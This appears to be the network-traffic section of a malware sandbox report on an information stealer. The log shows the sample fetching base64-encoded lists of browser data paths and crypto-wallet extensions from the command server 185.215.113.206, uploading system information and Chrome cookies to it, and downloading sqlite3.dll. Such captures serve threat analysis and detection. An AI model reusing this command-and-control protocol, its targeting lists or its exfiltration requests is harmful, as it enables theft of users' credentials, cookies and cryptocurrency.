Dec 2, 2024 07:37:21.917880058 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 57 52 69 4d 57 4a 69 4e 54 5a 68 4e 6a 4a 6a 4d 32 45 35 59 32 5a 69 59 6d 5a 6c 4d 6d 4d 78 4e 6a 67 78 4e 6a 46 6a 4e 44 41 78 4e 6d 49 7a 5a 6a 41 32 5a 54 4e 6b 4e 54 55 78 4d 7a 59 35 4d 7a 49 7a 59 57 55 79 5a 54 59 31 4e 54 59 7a 59 7a 41 79 4e 47 45 35 4f 44 5a 6b 4e 44 45 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MWRiMWJiNTZhNjJjM2E5Y2ZiYmZlMmMxNjgxNjFjNDAxNmIzZjA2ZTNkNTUxMzY5MzIzYWUyZTY1NTYzYzAyNGE5ODZkNDExfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 2, 2024 07:37:21.919384956 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFIJKFHIJKKEBGCFBFH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="message"browsers------CAFIJKFHIJKKEBGCFBFH--
Dec 2, 2024 07:37:22.385075092 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 2, 2024 07:37:22.385221958 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 2, 2024 07:37:22.386748075 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDBAAAEHIEGCAKFHCG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 2d 2d 0d 0a Data Ascii: ------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="message"plugins------JKJDBAAAEHIEGCAKFHCG--
Dec 2, 2024 07:37:22.845176935 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 2, 2024 07:37:22.845242977 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 2, 2024 07:37:22.845254898 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 2, 2024 07:37:22.845354080 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 2, 2024 07:37:22.845386982 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Dec 2, 2024 07:37:22.845398903 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Dec 2, 2024 07:37:22.860130072 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJDGCAEBFIIECAKFHIJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="message"fplugins------GIJDGCAEBFIIECAKFHIJ--
Dec 2, 2024 07:37:23.317668915 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 2, 2024 07:37:23.573982000 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCFBFBFBKFIDHJKFCAF Host: 185.215.113.206 Content-Length: 5499 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 07:37:23.574039936 CET	5499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 Data Ascii: ------BFCFBFBFBKFIDHJKFCAFContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------BFCFBFBFBKFIDHJKFCAFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 2, 2024 07:37:24.665007114 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 07:37:24.985045910 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 2, 2024 07:37:25.470973015 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 2, 2024 07:37:25.471019030 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 2, 2024 07:37:25.473308086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:37:25.473368883 CET	224	IN	Data Raw: 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 ea fc ff ff 83 ec 0c eb 8a 90 8d 74 26 00 83 fb 01 75 70 e8 c6 e4 0a 00 89 7c 24 08 c7 44 24 04 01 00 00 00 89 34 Data Ascii: $\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49778	185.215.113.206	80	3604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 07:37:34.942584038 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJK Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 65 36 35 35 36 33 63 30 32 34 61 39 38 36 64 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="token"1db1bb56a62c3a9cfbbfe2c168161c4016b3f06e3d551369323ae2e65563c024a986d411------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CFIECBFIDGDAKFHIEHJK--
Dec 2, 2024 07:37:36.985013008 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 07:37:37.340208054 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 64 62 31 62 62 35 36 61 36 32 63 33 61 39 63 66 62 62 66 65 32 63 31 36 38 31 36 31 63 34 30 31 36 62 33 66 30 36 65 33 64 35 35 31 33 36 39 33 32 33 61 65 32 